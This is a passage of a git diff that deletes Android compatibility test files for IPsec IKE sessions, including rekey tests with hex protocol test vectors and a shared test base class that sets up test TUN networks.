-                        + "605E57E24651843AB70E41B552EDEE227DFE51E6CBEC00E75FFEFC7D5453"
-                        + "109B15F721FCD811FC9F113BE06050882F2FC5F5FF25857E555CCFB5AB64"
-                        + "8B0D1D7A819A3B05DE1FE89A4A627C60D5AA06CD0F66ACD3748722F9CD4F"
-                        + "F30AE7477CBC12049821F07AD6C9F0ED732321A6A36FA817722E025AC34B"
-                        + "ABE62900002432E3807F595070E95EDA341A787599B24B1151B535B0222B"
-                        + "65C003401B9B38F82900001C000040043BB760DB3037B51768DFFAB4B21D"
-                        + "B1716EA1C1382900001C0000400531098EB04DF1BE3F304606BD59B454A8"
-                        + "CC7E7311290000080000402E290000100000402F00020003000400050000"
-                        + "000800004014";
-        final String ikeAuthCreateChildFailHex =
-                "46B8ECA1E0D72A18F5ABBF896A1240BE2E20232000000001000000B02400"
-                        + "009400B0861242E0C88ECB3848D772B560CAD65B6AC9DFFDC8622A394B8E"
-                        + "64E550BDD69FCD7E768129787ED9062992C1D6DB0F0631C2E05765B403CF"
-                        + "EF1D0A055B32F6698FF7DB5B8FB1B6A83A81634D00E22C86E35B3BFBEC73"
-                        + "EAC6806678926945BC7A57003DC1A3528A1EC423EE56C1075B36C0B57A6B"
-                        + "C6DD990182F6FABFFA167D199C7D629E5B830AAD2AFBD31CEBA6";
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
-        performSetupIkeAndFirstChildBlocking(ikeInitRespHex, ikeAuthCreateChildFailHex);
-
-        // Even though the child creation failed, the authentication succeeded, so the IKE Session's
-        // onOpened() callback is still expected
-        verifyIkeSessionSetupBlocking();
-
-        // Verify Child Creation failed
-        IkeProtocolException protocolException =
-                (IkeProtocolException) mFirstChildSessionCallback.awaitOnClosedException();
-        assertEquals(ERROR_TYPE_TS_UNACCEPTABLE, protocolException.getErrorType());
-        assertArrayEquals(EXPECTED_PROTOCOL_ERROR_DATA_NONE, protocolException.getErrorData());
-
-        ikeSession.kill();
-        mIkeSessionCallback.awaitOnClosed();
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionRekeyTest.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionRekeyTest.java
deleted file mode 100644
index 0ca12ad..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionRekeyTest.java
+++ /dev/null
@@ -1,265 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static com.android.internal.util.HexDump.hexStringToByteArray;
-
-import android.ipsec.ike.cts.IkeTunUtils.PortPair;
-import android.net.InetAddresses;
-import android.net.LinkAddress;
-import android.net.ipsec.ike.IkeFqdnIdentification;
-import android.net.ipsec.ike.IkeSession;
-import android.net.ipsec.ike.IkeSessionParams;
-import android.net.ipsec.ike.IkeTrafficSelector;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.InetAddress;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-/**
- * Explicitly test transport mode Child SA so that devices without FEATURE_IPSEC_TUNNELS can be test
- * covered. Tunnel mode Child SA setup has been tested in IkeSessionPskTest. Rekeying process is
- * independent from Child SA mode.
- */
-@RunWith(AndroidJUnit4.class)
-public class IkeSessionRekeyTest extends IkeSessionTestBase {
-    // This value is align with the test vectors hex that are generated in an IPv4 environment
-    private static final IkeTrafficSelector TRANSPORT_MODE_INBOUND_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("172.58.35.40"),
-                    InetAddresses.parseNumericAddress("172.58.35.40"));
-
-    private IkeSession openIkeSessionWithRemoteAddress(InetAddress remoteAddress) {
-        IkeSessionParams ikeParams =
-                new IkeSessionParams.Builder(sContext)
-                        .setNetwork(mTunNetwork)
-                        .setServerHostname(remoteAddress.getHostAddress())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
-                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
-                        .setLocalIdentification(new IkeFqdnIdentification(LOCAL_HOSTNAME))
-                        .setRemoteIdentification(new IkeFqdnIdentification(REMOTE_HOSTNAME))
-                        .setAuthPsk(IKE_PSK)
-                        .build();
-        return new IkeSession(
-                sContext,
-                ikeParams,
-                buildTransportModeChildParamsWithTs(
-                        TRANSPORT_MODE_INBOUND_TS, TRANSPORT_MODE_OUTBOUND_TS),
-                mUserCbExecutor,
-                mIkeSessionCallback,
-                mFirstChildSessionCallback);
-    }
-
-    private byte[] buildInboundPkt(PortPair outPktSrcDestPortPair, String inboundDataHex)
-            throws Exception {
-        // Build inbound packet by flipping the outbound packet addresses and ports
-        return IkeTunUtils.buildIkePacket(
-                mRemoteAddress,
-                mLocalAddress,
-                outPktSrcDestPortPair.dstPort,
-                outPktSrcDestPortPair.srcPort,
-                true /* useEncap */,
-                hexStringToByteArray(inboundDataHex));
-    }
-
-    @Test
-    public void testRekeyIke() throws Exception {
-        final String ikeInitResp =
-                "46B8ECA1E0D72A1866B5248CF6C7472D21202220000000000000015022000030"
-                        + "0000002C010100040300000C0100000C800E0100030000080300000C03000008"
-                        + "0200000500000008040000022800008800020000920D3E830E7276908209212D"
-                        + "E5A7F2A48706CFEF1BE8CB6E3B173B8B4E0D8C2DC626271FF1B13A88619E569E"
-                        + "7B03C3ED2C127390749CDC7CDC711D0A8611E4457FFCBC4F0981B3288FBF58EA"
-                        + "3E8B70E27E76AE70117FBBCB753660ADDA37EB5EB3A81BED6A374CCB7E132C2A"
-                        + "94BFCE402DC76B19C158B533F6B1F2ABF01ACCC329000024B302CA2FB85B6CF4"
-                        + "02313381246E3C53828D787F6DFEA6BD62D6405254AEE6242900001C00004004"
-                        + "7A1682B06B58596533D00324886EF1F20EF276032900001C00004005BF633E31"
-                        + "F9984B29A62E370BB2770FC09BAEA665290000080000402E290000100000402F"
-                        + "00020003000400050000000800004014";
-        final String ikeAuthResp =
-                "46B8ECA1E0D72A1866B5248CF6C7472D2E20232000000001000000F0240000D4"
-                        + "10166CA8647F56123DE74C17FA5E256043ABF73216C812EE32EE1BB01EAF4A82"
-                        + "DC107AB3ADBFEE0DEA5EEE10BDD5D43178F4C975C7C775D252273BB037283C7F"
-                        + "236FE34A6BCE4833816897075DB2055B9FFD66DFA45A0A89A8F70AFB59431EED"
-                        + "A20602FB614369D12906D3355CF7298A5D25364ABBCC75A9D88E0E6581449FCD"
-                        + "4E361A39E00EFD1FD0A69651F63DB46C12470226AA21BA5EFF48FAF0B6DDF61C"
-                        + "B0A69392CE559495EEDB4D1C1D80688434D225D57210A424C213F7C993D8A456"
-                        + "38153FBD194C5E247B592D1D048DB4C8";
-        final String rekeyIkeCreateReq =
-                "46B8ECA1E0D72A1866B5248CF6C7472D2E202400000000000000013021000114"
-                        + "13743670039E308A8409BA5FD47B67F956B36FEE88AC3B70BB5D789B8218A135"
-                        + "1B3D83E260E87B3EDB1BF064F09D4DC2611AEDBC99951B4B2DE767BD4AA2ACC3"
-                        + "3653549CFC66B75869DF003CDC9A137A9CC27776AD5732B34203E74BE8CA4858"
-                        + "1D5C0D9C9CA52D680EB299B4B21C7FA25FFEE174D57015E0FF2EAED653AAD95C"
-                        + "071ABE269A8C2C9FBC1188E07550EB992F910D4CA9689E44BA66DE0FABB2BDF9"
-                        + "8DD377186DBB25EF9B68B027BB2A27981779D8303D88D7CE860010A42862D50B"
-                        + "1E0DBFD3D27C36F14809D7F493B2B96A65534CF98B0C32AD5219AD77F681AC04"
-                        + "9D5CB89A0230A91A243FA7F16251B0D9B4B65E7330BEEAC9663EF4578991EAC8"
-                        + "46C19EBB726E7D113F1D0D601102C05E";
-        final String rekeyIkeDeleteReq =
-                "46B8ECA1E0D72A1866B5248CF6C7472D2E20250000000001000000502A000034"
-                        + "02E40C0C7B1ED977729F705BB9B643FAC513A1070A6EB28ECD2AEA8A441ADC05"
-                        + "7841382A7967BBF116AE52496590B2AD";
-        final String deleteIkeReq =
-                "7D3DEDC65407D1FC9361C8CF8C47162A2E20250800000000000000502A000034"
-                        + "201915C9E4E9173AA9EE79F3E02FE2D4954B22085C66D164762C34D347C16E9F"
-                        + "FC5F7F114428C54D8D915860C57B1BC1";
-        final long newIkeDeterministicInitSpi = Long.parseLong("7D3DEDC65407D1FC", 16);
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
-        PortPair localRemotePorts = performSetupIkeAndFirstChildBlocking(ikeInitResp, ikeAuthResp);
-
-        // Local request message ID starts from 2 because there is one IKE_INIT message and a single
-        // IKE_AUTH message.
-        int expectedReqMsgId = 2;
-        int expectedRespMsgId = 0;
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
-                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
-                new ArrayList<LinkAddress>());
-        IpSecTransformCallRecord firstTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord firstTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
-
-        // Inject rekey IKE requests
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyIkeCreateReq));
-        mTunUtils.awaitResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyIkeDeleteReq));
-        mTunUtils.awaitResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
-
-        // IKE has been rekeyed, reset message IDs
-        expectedReqMsgId = 0;
-        expectedRespMsgId = 0;
-
-        // Inject delete IKE request
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, deleteIkeReq));
-        mTunUtils.awaitResp(
-                newIkeDeterministicInitSpi, expectedRespMsgId++, true /* expectedUseEncap */);
-
-        verifyDeleteIpSecTransformPair(
-                mFirstChildSessionCallback, firstTransformRecordA, firstTransformRecordB);
-        mFirstChildSessionCallback.awaitOnClosed();
-        mIkeSessionCallback.awaitOnClosed();
-    }
-
-    @Test
-    public void testRekeyTransportModeChildSa() throws Exception {
-        final String ikeInitResp =
-                "46B8ECA1E0D72A18CECD871146CF83A121202220000000000000015022000030"
-                        + "0000002C010100040300000C0100000C800E0100030000080300000C03000008"
-                        + "0200000500000008040000022800008800020000C4904458957746BCF1C12972"
-                        + "1D4E19EB8A584F78DE673053396D167CE0F34552DBC69BA63FE7C673B4CF4A99"
-                        + "62481518EE985357876E8C47BAAA0DBE9C40AE47B12E52165874703586E8F786"
-                        + "045F72EEEB238C5D1823352BED44B71B3214609276ADC0B3D42DAC820168C4E2"
-                        + "660730DAAC92492403288805EBB9053F1AB060DA290000242D9364ACB93519FF"
-                        + "8F8B019BAA43A40D699F59714B327B8382216EF427ED52282900001C00004004"
-                        + "06D91438A0D6B734E152F76F5CC55A72A2E38A0A2900001C000040052EFF78B3"
-                        + "55B37F3CE75AFF26C721B050F892C0D6290000080000402E290000100000402F"
-                        + "00020003000400050000000800004014";
-        final String ikeAuthResp =
-                "46B8ECA1E0D72A18CECD871146CF83A12E20232000000001000000F0240000D4"
-                        + "A17BC258BA2714CF536663639DD5F665A60C75E93557CD5141990A8CEEDD2017"
-                        + "93F5B181C8569FBCD6C2A00198EC2B62D42BEFAC016B8B6BF6A7BC9CEDE3413A"
-                        + "6C495A6B8EC941864DC3E08F57D015EA6520C4B05884960B85478FCA53DA5F17"
-                        + "9628BB1097DA77461C71837207A9EB80720B3E6E661816EE4E14AC995B5E8441"
-                        + "A4C3F9097CC148142BA300076C94A23EC4ADE82B1DD2B121F7E9102860A8C3BF"
-                        + "58DDC207285A3176E924C44DE820322524E1AA438EFDFBA781B36084AED80846"
-                        + "3B77FCED9682B6E4E476408EF3F1037E";
-        final String rekeyChildCreateReq =
-                "46B8ECA1E0D72A18CECD871146CF83A12E202400000000000000015029000134"
-                        + "319D74B6B155B86942143CEC1D29D21F073F24B7BEDC9BFE0F0FDD8BDB5458C0"
-                        + "8DB93506E1A43DD0640FE7370C97F9B34FF4EC9B2DB7257A87B75632301FB68A"
-                        + "86B54871249534CA3D01C9BEB127B669F46470E1C8AAF72574C3CEEC15B901CF"
-                        + "5A0D6ADAE59C3CA64AC8C86689C860FAF9500E608DFE63F2DCD30510FD6FFCD5"
-                        + "A50838574132FD1D069BCACD4C7BAF45C9B1A7689FAD132E3F56DBCFAF905A8C"
-                        + "4145D4BA1B74A54762F8F43308D94DE05649C49D885121CE30681D51AC1E3E68"
-                        + "AB82F9A19B99579AFE257F32DBD1037814DA577379E4F42DEDAC84502E49C933"
-                        + "9EA83F6F5DB4401B660CB1681B023B8603D205DFDD1DE86AD8DE22B6B754F30D"
-                        + "05EAE81A709C2CEE81386133DC3DC7B5EF8F166E48E54A0722DD0C64F4D00638"
-                        + "40F272144C47F6ECED72A248180645DB";
-        final String rekeyChildDeleteReq =
-                "46B8ECA1E0D72A18CECD871146CF83A12E20250000000001000000502A000034"
-                        + "02D98DAF0432EBD991CA4F2D89C1E0EFABC6E91A3327A85D8914FB2F1485BE1B"
-                        + "8D3415D548F7CE0DC4224E7E9D0D3355";
-        final String deleteIkeReq =
-                "46B8ECA1E0D72A18CECD871146CF83A12E20250000000002000000502A000034"
-                        + "095041F4026B4634F04B0AB4F9349484F7BE9AEF03E3733EEE293330043B75D2"
-                        + "ABF5F965ED51127629585E1B1BBA787F";
-
-        // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
-        PortPair localRemotePorts = performSetupIkeAndFirstChildBlocking(ikeInitResp, ikeAuthResp);
-
-        // IKE INIT and IKE AUTH takes two exchanges. Local request message ID starts from 2
-        int expectedReqMsgId = 2;
-        int expectedRespMsgId = 0;
-
-        verifyIkeSessionSetupBlocking();
-        verifyChildSessionSetupBlocking(
-                mFirstChildSessionCallback,
-                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
-                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
-                new ArrayList<LinkAddress>());
-        IpSecTransformCallRecord oldTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord oldTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(oldTransformRecordA, oldTransformRecordB);
-
-        // Inject rekey Child requests
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyChildCreateReq));
-        mTunUtils.awaitResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyChildDeleteReq));
-        mTunUtils.awaitResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
-
-        // Verify IpSecTransforms are renewed
-        IpSecTransformCallRecord newTransformRecordA =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        IpSecTransformCallRecord newTransformRecordB =
-                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
-        verifyCreateIpSecTransformPair(newTransformRecordA, newTransformRecordB);
-        verifyDeleteIpSecTransformPair(
-                mFirstChildSessionCallback, oldTransformRecordA, oldTransformRecordB);
-
-        // Inject delete IKE request
-        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, deleteIkeReq));
-        mTunUtils.awaitResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
-
-        verifyDeleteIpSecTransformPair(
-                mFirstChildSessionCallback, newTransformRecordA, newTransformRecordB);
-        mFirstChildSessionCallback.awaitOnClosed();
-        mIkeSessionCallback.awaitOnClosed();
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionTestBase.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionTestBase.java
deleted file mode 100644
index 745d8fb..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeSessionTestBase.java
+++ /dev/null
@@ -1,598 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.net.ipsec.ike.IkeSessionConfiguration.EXTENSION_TYPE_FRAGMENTATION;
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.AF_INET6;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.annotation.NonNull;
-import android.app.AppOpsManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.ipsec.ike.cts.IkeTunUtils.PortPair;
-import android.ipsec.ike.cts.TestNetworkUtils.TestNetworkCallback;
-import android.net.ConnectivityManager;
-import android.net.InetAddresses;
-import android.net.IpSecManager;
-import android.net.IpSecTransform;
-import android.net.LinkAddress;
-import android.net.Network;
-import android.net.TestNetworkInterface;
-import android.net.TestNetworkManager;
-import android.net.annotations.PolicyDirection;
-import android.net.ipsec.ike.ChildSessionCallback;
-import android.net.ipsec.ike.ChildSessionConfiguration;
-import android.net.ipsec.ike.IkeSessionCallback;
-import android.net.ipsec.ike.IkeSessionConfiguration;
-import android.net.ipsec.ike.IkeSessionConnectionInfo;
-import android.net.ipsec.ike.IkeTrafficSelector;
-import android.net.ipsec.ike.TransportModeChildSessionParams;
-import android.net.ipsec.ike.TunnelModeChildSessionParams;
-import android.net.ipsec.ike.exceptions.IkeException;
-import android.net.ipsec.ike.exceptions.IkeProtocolException;
-import android.os.Binder;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.compatibility.common.util.SystemUtil;
-import com.android.net.module.util.ArrayTrackRecord;
-
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.runner.RunWith;
-
-import java.net.Inet4Address;
-import java.net.InetAddress;
-import java.util.ArrayList;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Objects;
-import java.util.Set;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Package private base class for testing IkeSessionParams and IKE exchanges.
- *
- * <p>Subclasses MUST explicitly call #setUpTestNetwork and #tearDownTestNetwork to be able to use
- * the test network
- *
- * <p>All IKE Sessions running in test mode will generate SPIs deterministically. That is to say
- * each IKE Session will always generate the same IKE INIT SPI and test vectors are generated based
- * on this deterministic IKE SPI. Each test will use different local and remote addresses to avoid
- * the case that the next test try to allocate the same SPI before the previous test has released
- * it, since SPI resources are not released in testing thread. Similarly, each test MUST use
- * different Network instances to avoid sharing the same IkeSocket and hitting IKE SPI collision.
- */
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "MANAGE_TEST_NETWORKS permission can't be granted to instant apps")
-abstract class IkeSessionTestBase extends IkeTestBase {
-    // Package-wide common expected results that will be shared by all IKE/Child SA creation tests
-    static final String EXPECTED_REMOTE_APP_VERSION_EMPTY = "";
-    static final byte[] EXPECTED_PROTOCOL_ERROR_DATA_NONE = new byte[0];
-
-    static final InetAddress EXPECTED_DNS_SERVERS_ONE =
-            InetAddresses.parseNumericAddress("8.8.8.8");
-    static final InetAddress EXPECTED_DNS_SERVERS_TWO =
-            InetAddresses.parseNumericAddress("8.8.4.4");
-
-    static final InetAddress EXPECTED_INTERNAL_ADDR =
-            InetAddresses.parseNumericAddress("198.51.100.10");
-    static final LinkAddress EXPECTED_INTERNAL_LINK_ADDR =
-            new LinkAddress(EXPECTED_INTERNAL_ADDR, IP4_PREFIX_LEN);
-    static final InetAddress EXPECTED_INTERNAL_ADDR_V6 =
-            InetAddresses.parseNumericAddress("2001:db8::2");
-    static final LinkAddress EXPECTED_INTERNAL_LINK_ADDR_V6 =
-            new LinkAddress(EXPECTED_INTERNAL_ADDR_V6, IP6_PREFIX_LEN);
-
-    static final IkeTrafficSelector TUNNEL_MODE_INBOUND_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT, MAX_PORT, EXPECTED_INTERNAL_ADDR, EXPECTED_INTERNAL_ADDR);
-    static final IkeTrafficSelector TUNNEL_MODE_OUTBOUND_TS = DEFAULT_V4_TS;
-    static final IkeTrafficSelector TUNNEL_MODE_INBOUND_TS_V6 =
-            new IkeTrafficSelector(
-                    MIN_PORT, MAX_PORT, EXPECTED_INTERNAL_ADDR_V6, EXPECTED_INTERNAL_ADDR_V6);
-    static final IkeTrafficSelector TUNNEL_MODE_OUTBOUND_TS_V6 = DEFAULT_V6_TS;
-
-    // This value is align with the test vectors hex that are generated in an IPv4 environment
-    static final IkeTrafficSelector TRANSPORT_MODE_OUTBOUND_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("10.138.0.2"),
-                    InetAddresses.parseNumericAddress("10.138.0.2"));
-
-    static final long IKE_DETERMINISTIC_INITIATOR_SPI = Long.parseLong("46B8ECA1E0D72A18", 16);
-
-    // Static state to reduce setup/teardown
-    static Context sContext = InstrumentationRegistry.getContext();
-    static ConnectivityManager sCM =
-            (ConnectivityManager) sContext.getSystemService(Context.CONNECTIVITY_SERVICE);
-    static TestNetworkManager sTNM;
-
-    private static final int TIMEOUT_MS = 500;
-
-    // Constants to be used for providing different IP addresses for each tests
-    private static final byte IP_ADDR_LAST_BYTE_MAX = (byte) 100;
-    private static final byte[] INITIAL_AVAILABLE_IP4_ADDR_LOCAL =
-            InetAddresses.parseNumericAddress("192.0.2.1").getAddress();
-    private static final byte[] INITIAL_AVAILABLE_IP4_ADDR_REMOTE =
-            InetAddresses.parseNumericAddress("198.51.100.1").getAddress();
-    private static final byte[] NEXT_AVAILABLE_IP4_ADDR_LOCAL = INITIAL_AVAILABLE_IP4_ADDR_LOCAL;
-    private static final byte[] NEXT_AVAILABLE_IP4_ADDR_REMOTE = INITIAL_AVAILABLE_IP4_ADDR_REMOTE;
-
-    ParcelFileDescriptor mTunFd;
-    TestNetworkCallback mTunNetworkCallback;
-    Network mTunNetwork;
-    IkeTunUtils mTunUtils;
-
-    InetAddress mLocalAddress;
-    InetAddress mRemoteAddress;
-
-    Executor mUserCbExecutor;
-    TestIkeSessionCallback mIkeSessionCallback;
-    TestChildSessionCallback mFirstChildSessionCallback;
-
-    // This method is guaranteed to run in subclasses and will run before subclasses' @BeforeClass
-    // methods.
-    @BeforeClass
-    public static void setUpPermissionBeforeClass() throws Exception {
-        InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation()
-                .adoptShellPermissionIdentity();
-        sTNM = sContext.getSystemService(TestNetworkManager.class);
-    }
-
-    // This method is guaranteed to run in subclasses and will run after subclasses' @AfterClass
-    // methods.
-    @AfterClass
-    public static void tearDownPermissionAfterClass() throws Exception {
-        InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation()
-                .dropShellPermissionIdentity();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mLocalAddress = getNextAvailableIpv4AddressLocal();
-        mRemoteAddress = getNextAvailableIpv4AddressRemote();
-        setUpTestNetwork(mLocalAddress);
-
-        mUserCbExecutor = Executors.newSingleThreadExecutor();
-        mIkeSessionCallback = new TestIkeSessionCallback();
-        mFirstChildSessionCallback = new TestChildSessionCallback();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        tearDownTestNetwork();
-    }
-
-    void setUpTestNetwork(InetAddress localAddr) throws Exception {
-        int prefixLen = localAddr instanceof Inet4Address ? IP4_PREFIX_LEN : IP6_PREFIX_LEN;
-
-        TestNetworkInterface testIface =
-                sTNM.createTunInterface(new LinkAddress[] {new LinkAddress(localAddr, prefixLen)});
-
-        mTunFd = testIface.getFileDescriptor();
-        mTunNetworkCallback =
-                TestNetworkUtils.setupAndGetTestNetwork(
-                        sCM, sTNM, testIface.getInterfaceName(), new Binder());
-        mTunNetwork = mTunNetworkCallback.getNetworkBlocking();
-        mTunUtils = new IkeTunUtils(mTunFd);
-    }
-
-    void tearDownTestNetwork() throws Exception {
-        sCM.unregisterNetworkCallback(mTunNetworkCallback);
-
-        sTNM.teardownTestNetwork(mTunNetwork);
-        mTunFd.close();
-    }
-
-    static void setAppOp(int appop, boolean allow) {
-        String opName = AppOpsManager.opToName(appop);
-        for (String pkg : new String[] {"com.android.shell", sContext.getPackageName()}) {
-            String cmd =
-                    String.format(
-                            "appops set %s %s %s",
-                            pkg, // Package name
-                            opName, // Appop
-                            (allow ? "allow" : "deny")); // Action
-
-            SystemUtil.runShellCommand(cmd);
-        }
-    }
-
-    Inet4Address getNextAvailableIpv4AddressLocal() throws Exception {
-        return (Inet4Address)
-                getNextAvailableAddress(
-                        NEXT_AVAILABLE_IP4_ADDR_LOCAL,
-                        INITIAL_AVAILABLE_IP4_ADDR_LOCAL,
-                        false /* isIp6 */);
-    }
-
-    Inet4Address getNextAvailableIpv4AddressRemote() throws Exception {
-        return (Inet4Address)
-                getNextAvailableAddress(
-                        NEXT_AVAILABLE_IP4_ADDR_REMOTE,
-                        INITIAL_AVAILABLE_IP4_ADDR_REMOTE,
-                        false /* isIp6 */);
-    }
-
-    InetAddress getNextAvailableAddress(
-            byte[] nextAddressBytes, byte[] initialAddressBytes, boolean isIp6) throws Exception {
-        int addressLen = isIp6 ? IP6_ADDRESS_LEN : IP4_ADDRESS_LEN;
-
-        synchronized (nextAddressBytes) {
-            if (nextAddressBytes[addressLen - 1] == IP_ADDR_LAST_BYTE_MAX) {
-                resetNextAvailableAddress(nextAddressBytes, initialAddressBytes);
-            }
-
-            InetAddress address = InetAddress.getByAddress(nextAddressBytes);
-            nextAddressBytes[addressLen - 1]++;
-            return address;
-        }
-    }
-
-    private void resetNextAvailableAddress(byte[] nextAddressBytes, byte[] initialAddressBytes) {
-        synchronized (nextAddressBytes) {
-            System.arraycopy(
-                    nextAddressBytes, 0, initialAddressBytes, 0, initialAddressBytes.length);
-        }
-    }
-
-    TransportModeChildSessionParams buildTransportModeChildParamsWithTs(
-            IkeTrafficSelector inboundTs, IkeTrafficSelector outboundTs) {
-        return new TransportModeChildSessionParams.Builder()
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
-                .addInboundTrafficSelectors(inboundTs)
-                .addOutboundTrafficSelectors(outboundTs)
-                .build();
-    }
-
-    TransportModeChildSessionParams buildTransportModeChildParamsWithDefaultTs() {
-        return new TransportModeChildSessionParams.Builder()
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
-                .build();
-    }
-
-    TunnelModeChildSessionParams buildTunnelModeChildSessionParams() {
-        return new TunnelModeChildSessionParams.Builder()
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
-                .addInternalAddressRequest(AF_INET)
-                .addInternalAddressRequest(AF_INET6)
-                .build();
-    }
-
-    PortPair performSetupIkeAndFirstChildBlocking(String ikeInitRespHex, String... ikeAuthRespHexes)
-            throws Exception {
-        return performSetupIkeAndFirstChildBlocking(
-                ikeInitRespHex,
-                1 /* expectedAuthReqPktCnt */,
-                true /*expectedAuthUseEncap*/,
-                ikeAuthRespHexes);
-    }
-
-    PortPair performSetupIkeAndFirstChildBlocking(
-            String ikeInitRespHex, boolean expectedAuthUseEncap, String... ikeAuthRespHexes)
-            throws Exception {
-        return performSetupIkeAndFirstChildBlocking(
-                ikeInitRespHex,
-                1 /* expectedAuthReqPktCnt */,
-                expectedAuthUseEncap,
-                ikeAuthRespHexes);
-    }
-
-    PortPair performSetupIkeAndFirstChildBlocking(
-            String ikeInitRespHex,
-            int expectedAuthReqPktCnt,
-            boolean expectedAuthUseEncap,
-            String... ikeAuthRespHexes)
-            throws Exception {
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                0 /* expectedMsgId */,
-                false /* expectedUseEncap */,
-                ikeInitRespHex);
-
-        byte[] ikeAuthReqPkt =
-                mTunUtils
-                        .awaitReqAndInjectResp(
-                                IKE_DETERMINISTIC_INITIATOR_SPI,
-                                1 /* expectedMsgId */,
-                                expectedAuthUseEncap,
-                                expectedAuthReqPktCnt,
-                                ikeAuthRespHexes)
-                        .get(0);
